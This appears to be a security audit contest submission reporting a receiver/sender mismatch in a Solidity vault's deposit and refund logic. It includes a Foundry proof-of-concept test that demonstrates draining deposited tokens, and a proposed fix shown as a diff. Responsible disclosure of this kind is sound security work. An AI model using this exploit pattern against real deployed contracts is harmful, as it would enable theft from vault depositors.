Submission Details
Severity:
Deposit and receiver mismatch
Root + Impact
Description
-
The deposit function is designed to allow users to deposit assets into the vault before the tournament begins.
-
The deposit function credits stakedAsset to the receiver address but mints shares to
msg.sender. This allows theft of vault assets
function deposit(uint256 assets, address receiver) public override returns (uint256) {
require(receiver != address(0));
if (block.timestamp >= eventStartDate) {
revert eventStarted();
}
uint256 fee = _getParticipationFee(assets);
if (minimumAmount + fee > assets) {
revert lowFeeAndAmount();
}
uint256 stakeAsset = assets - fee;
@> stakedAsset[receiver] = stakeAsset; // Credits receiver
uint256 participantShares = _convertToShares(stakeAsset);
IERC20(asset()).safeTransferFrom(msg.sender, participationFeeAddress, fee);
IERC20(asset()).safeTransferFrom(msg.sender, address(this), stakeAsset);
@> _mint(msg.sender, participantShares); // But mints shares to msg.sender
emit deposited (receiver, stakeAsset);
return participantShares;
}
function cancelParticipation () public {
if (block.timestamp >= eventStartDate){
revert eventStarted();
}
@> uint256 refundAmount = stakedAsset[msg.sender]; // Uses stakedAsset mapping
stakedAsset[msg.sender] = 0;
@> uint256 shares = balanceOf(msg.sender); // Receiver may have 0 shares
@> _burn(msg.sender, shares); // Burns 0 shares
@> IERC20(asset()).safeTransfer(msg.sender, refundAmount); // Refunds anyway
}
Risk
Likelihood:
-
Any user can call deposit with a different receiver address at any time
-
No priviledge access is required
Impact:
-
Theft of vault assets
-
Attack can be done multiple times
Proof of Concept
// SPDX-License-Identifier: MIT
import {Test, console} from "forge-std/Test.sol";
import {BriVault} from "../src/BriVault.sol";
import {ERC20Mock} from "@openzeppelin/contracts/mocks/token/ERC20Mock.sol";
contract VaultTheftTest is Test {
BriVault public vault;
ERC20Mock public asset;
address public owner = makeAddr("owner");
address public feeAddress = makeAddr("feeAddress");
address public attacker = makeAddr("attacker");
address public bob = makeAddr("bob");
function setUp() public {
asset = new ERC20Mock();
vm.startPrank(owner);
vault = new BriVault(
asset,
300, // 3% fee
block.timestamp + 1 days,
feeAddress,
10 * 10**18,
block.timestamp + 30 days
);
string[48] memory countries;
countries[0] = "Team A";
vault.setCountry(countries);
vm.stopPrank();
// Setup: Legitimate user deposits 1000 tokens
address legitimateUser = makeAddr("legitimateUser");
asset.mint(legitimateUser, 1000 * 10**18);
vm.startPrank(legitimateUser);
asset.approve(address(vault), type(uint256).max);
vault.deposit(1000 * 10**18, legitimateUser);
vm.stopPrank();
asset.mint(attacker, 100 * 10**18);
}
function testTheftViaReceiverMismatch() public {
uint256 vaultBalanceBefore = asset.balanceOf(address(vault));
uint256 totalSharesBefore = vault.totalSupply();
// Attack: Attacker deposits with receiver=Bob
vm.startPrank(attacker);
asset.approve(address(vault), 100 * 10**18);
vault.deposit(100 * 10**18, bob);
vm.stopPrank();
// Verify mismatch: Bob has stakedAsset but attacker has shares
assertEq(vault.stakedAsset(bob), 97 * 10**18, "Bob credited with stakedAsset");
assertEq(vault.balanceOf(bob), 0, "Bob has no shares");
assertEq(vault.balanceOf(attacker), 97 * 10**18, "Attacker has shares");
// Bob steals the funds
vm.prank(bob);
vault.cancelParticipation();
// Verify theft
assertEq(asset.balanceOf(bob), 97 * 10**18, "Bob stole 97 tokens");
assertEq(vault.balanceOf(attacker), 97 * 10**18, "Attacker keeps shares");
// Verify undercollateralization
uint256 vaultBalanceAfter = asset.balanceOf(address(vault));
uint256 totalSharesAfter = vault.totalSupply();
assertEq(vaultBalanceAfter, vaultBalanceBefore, "Vault back to initial balance");
assertEq(totalSharesAfter, totalSharesBefore + 97 * 10**18, "But shares increased");
assertGt(totalSharesAfter, vaultBalanceAfter, "UNDERCOLLATERALIZED");
}
}
Recommended Mitigation
function deposit(uint256 assets, address receiver) public override returns (uint256) {
require(receiver != address(0));
if (block.timestamp >= eventStartDate) {
revert eventStarted();
}
uint256 fee = _getParticipationFee(assets);
if (minimumAmount + fee > assets) {
revert lowFeeAndAmount();
}
uint256 stakeAsset = assets - fee;
- stakedAsset[receiver] = stakeAsset;
+ stakedAsset[msg.sender] = stakeAsset;
uint256 participantShares = _convertToShares(stakeAsset);
IERC20(asset()).safeTransferFrom(msg.sender, participationFeeAddress, fee);
IERC20(asset()).safeTransferFrom(msg.sender, address(this), stakeAsset);
_mint(msg.sender, participantShares);
- emit deposited (receiver, stakeAsset);
+ emit deposited (msg.sender, stakeAsset);
return participantShares;
}
Updates
Appeal created
bube 19 days ago
Submission Judgement Published Assigned finding tags:
Shares Minted to msg.sender Instead of Specified Receiver
Rewards breakdown
nSLOC
193This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.